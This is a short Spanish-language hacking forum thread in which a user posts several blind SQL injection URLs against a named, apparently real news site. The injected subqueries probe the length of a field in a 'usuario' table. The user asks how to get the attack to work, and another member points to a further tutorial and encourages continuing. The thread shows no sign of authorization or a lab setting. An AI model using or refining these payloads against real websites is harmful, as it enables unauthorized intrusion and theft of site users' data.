Buenas.
Hace rato estaba leyendo esto
http://underc0de.org/foro/index.php?topic=10124.0
y he cometido algún error. Verán:
www.fepal.net/noticias.php?id=4 AND (SELECT length(id) FROM usuario where cod=1) > 7
falso
www.fepal.net/noticias.php?id=4 AND (SELECT length(id) FROM usuario where cod=1) < 7
falso
www.fepal.net/noticias.php?id=4 AND (SELECT length(id) FROM usuario where cod=1) = 7
falso
www.fepal.net/noticias.php?id=4 AND (SELECT length(id) FROM usuario where cod=1) = 32
falso
¿qué más puedo probar en casos que me ocurra lo mismo?
¡Gracias!
Hola, te recomiendo que leas este otro paper: http://underc0de.org/foro/index.php?topic=8387.msg
Puedes hacerlo con blind como lo estas haciendo, pero se te hará mas dificil
Saludos!
ANTRAX
¡Muchas gracias!
Lo voy a probar.